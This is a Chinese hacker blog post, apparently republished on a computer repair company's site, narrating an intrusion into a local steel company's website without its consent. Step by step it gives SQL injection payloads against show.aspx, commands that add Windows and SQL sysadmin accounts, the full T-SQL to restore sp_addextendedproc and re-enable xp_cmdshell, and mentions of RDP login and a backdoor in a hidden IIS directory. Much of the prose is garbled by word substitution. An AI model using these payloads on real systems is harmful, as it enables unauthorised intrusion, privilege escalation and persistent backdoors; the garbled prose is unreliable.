注射MSSQL时恢复sp_addextendedproc
作者:小泥巴 来自:第八军团
本日没事做,对本地的一家钢铁企业的网站做了次安检,嘿嘿.漏洞一大把.固然 这是意猜中的事.近来搞各人都喜欢搞剧本.那我也就从他们的网站步伐看看了.
show.aspx?id=1'
嘿嘿 asp.net 还是暴 说什么有未闭合的分号.
show.aspx?id=1 and (select @@version)>0;--
果然,2003的系统
show.aspx?id=1 and 'sa'=(select System_user)--
嘿嘿 精确前往 有权限了 想到直接用xp_cmeshell直接添加帐号
因为之前已经知道这服务器开了3389的
所以 我们连续来:
show.aspx?id=1;exec master.dbo.xp_cmdshell "net user haco lovehaco /add"--
我倒,前往效果错误了 看来办理员还不是很可爱噢
那我们来恢复这个存储历程?OK 连续
show.aspx?id=1;exec master.dbo.sp_addextendedpro xp_cmdshell,@dllname='xplog70.dll'--
回车后......狂晕去世.居然说什么历程sp_addextendedproc没找着 开端我以为是删除了xplog70.dll 可是厥后不如许如许认为了 记得以前也遇到过如许的事 可是都没能解决 这次肯定要搞定 嘿嘿!之后 到处问人
这里要谢谢一下BST论坛里的tob88 谢谢 是他提示了我
不就是历程SP_ADDextendedproc被删除了嘛 我们恢复它就是了嘛!
为了方便 我添加了个sysadmin的帐号
show.aspx?id=1;exec master.dbo.sp_addlogin haco,lovehaco;--
show.aspx?id=1;exec master.dbo.sp_addsrvrolemember haco,sysadmin;-- HOHO~ 搞定 俺本身装了MSSQL 企业办理器里连上这台服务器的SQL
调出查询器 恢复历程sp_addextendedproc 如下:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
哈哈 试下 sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
哇!下令成功完成 耶!添加帐号 登陆3389 留个我最喜欢的相对后门
IIS隐藏虚拟目录 搞定 闪人......
PS:实在像sp_addextendedproc这些历程也都可以删除掉 就不克不及添加了
固然 也可以恢复的 这个恢复的语句 是从MSSQL数据库里失掉的 有兴味的朋侪可以本身尝尝看 呵呵 这是我小泥巴第一次写工具 很稀烂的 各人看看就算了 别笑噢 要不 我会5555哭的噢!
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
评论加载中...
|